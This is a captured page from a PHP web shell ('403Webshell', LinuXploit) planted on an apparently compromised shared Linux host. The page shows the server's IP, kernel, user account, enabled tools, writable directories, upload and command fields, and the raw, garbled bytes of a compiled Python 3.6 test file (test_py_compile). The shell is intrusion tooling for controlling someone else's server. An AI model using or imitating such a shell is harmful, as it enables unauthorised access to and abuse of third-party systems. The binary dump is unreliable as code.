403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.153
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_py_compile.cpython-36.pyc
3

�w2_��@srddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
Gdd�dej�Ze
dkrnej�dS)�N)�supportc@s�eZdZdd�Zdd�Zdd�Zdd�Zeje	j
je	j�pHe	j
j
e	j�d	�d
d��Zdd
�Zdd�Zdd�Zdd�Zejee	d�o�e	j�dkd�eje	jdkd�dd���Zdd�Zejejjdkd�dd��Zdd �Zd!S)"�PyCompileTestsc	Cs�tjtj�d�|_tjj|jd�|_|jd|_t	j
j|j�|_tjj
tj��d|_tjj
|j�d}|rvtj|�t|jd��}|jd�WdQRXdS)N)�dirz_test.py�cr�wzx = 123
)�tempfileZmkdtemp�os�getcwd�	directory�path�join�source_path�pyc_path�	importlib�util�cache_from_source�
cache_path�
splitdrive�	cwd_drive�chdir�open�write)�selfZdrive�file�r�9/opt/alt/python36/lib64/python3.6/test/test_py_compile.py�setUps
zPyCompileTests.setUpcCs"tj|j�|jrtj|j�dS)N)�shutilZrmtreer
rrr)rrrr�tearDownszPyCompileTests.tearDowncCs<tj|j|j�|jtjj|j��|jtjj|j	��dS)N)
�
py_compile�compiler
r�
assertTruerr�exists�assertFalser)rrrr�test_absolute_path$sz!PyCompileTests.test_absolute_pathcCsxytj|jd|j�Wn"ttfk
r:|jd�Yn:Xtjj|j�sNt�|j	t
��tj|j
|j�WdQRXdS)Nz.actualz.need to be able to create a symlink for a file)r�symlinkr�NotImplementedError�OSErrorZskipTestr�islink�AssertionError�assertRaises�FileExistsErrorrr r
)rrrr�test_do_not_overwrite_symlinks)sz-PyCompileTests.test_do_not_overwrite_symlinksz7requires os.devnull and for it to be a non-regular filec
Cs*|jt��tj|jtj�WdQRXdS)N)r*r+rr r
r�devnull)rrrr�&test_do_not_overwrite_nonregular_files5sz5PyCompileTests.test_do_not_overwrite_nonregular_filescCs$tj|j�|jtjj|j��dS)N)rr r
r!rrr"r)rrrr�test_cache_path=szPyCompileTests.test_cache_pathcCsdtj|j��&tjtjj|j�tjj|j	��WdQRX|j
tjj|j	��|jtjj|j
��dS)N)rZ
change_cwdr
rr rr�basenamer
rr!r"r#r)rrrr�test_cwdAs
zPyCompileTests.test_cwdcCs.tjjtjjt�d�}|jtj|dd��dS)Nzbad_coding2.pyF)�doraise)rrr�dirname�__file__�assertIsNonerr )r�
bad_codingrrr�test_bad_codingHszPyCompileTests.test_bad_codingcCsLtjtjj|j�tjj|j��|jtjj|j��|j	tjj|j
��dS)N)rr rr�relpathr
rr!r"r#r)rrrr�test_relative_pathLsz!PyCompileTests.test_relative_path�geteuidrznon-root user required�ntz/cannot control directory permissions on WindowscCs^tj|j�}tj|jtj�z*|jt��tj|j	|j
�WdQRXWdtj|j|j�XdS)N)r�statr
�chmod�S_IREADr*�IOErrorrr r
r�st_mode)r�moderrr�test_exceptions_propagateRsz(PyCompileTests.test_exceptions_propagatecCs\tjjtjjt�d�}tj��|jtj	|dd��WdQRX|j
tjjtj
j|���dS)Nzbad_coding2.pyF)r2)rrrr3r4rZcaptured_stderrr5rr r#r"rrr)rr6rrrr7bs


ztest does not work with -Oc
Cs�tjj|jd�}tjj|�}|d}tjj|�\}}tjj|�}|j	tjj||�tjjddj
tjj
���t|d��}|jd�WdQRXtj|�|jtjj|��|jtjj|��dS)Nz
foo.bar.pyr�__pycache__zfoo.bar.{}.pycrzx = 123
)rrrr
rrr�splitr0ZassertEqual�format�sys�implementation�	cache_tagrrrr r!r"r#)rZ
weird_pathrr�head�tailZpenultimate_tailrrrr�test_double_dot_no_clobberis
z)PyCompileTests.test_double_dot_no_clobbercCs|jdtj|jdd��dS)Nzopt-2�)�optimize)ZassertInrr r
)rrrr�test_optimization_path}sz%PyCompileTests.test_optimization_pathN)�__name__�
__module__�__qualname__rrr$r,�unittestZskipIfrrr"r-�isfiler.r/r1r7r9�hasattrr:�namerBrF�flagsrMrKrNrrrrr
s" 
r�__main__)�importlib.utilrrrrr<rFrrRZtestrZTestCaserrO�mainrrrr�<module>su

Youez - 2016 - github.com/yon3zu
LinuXploit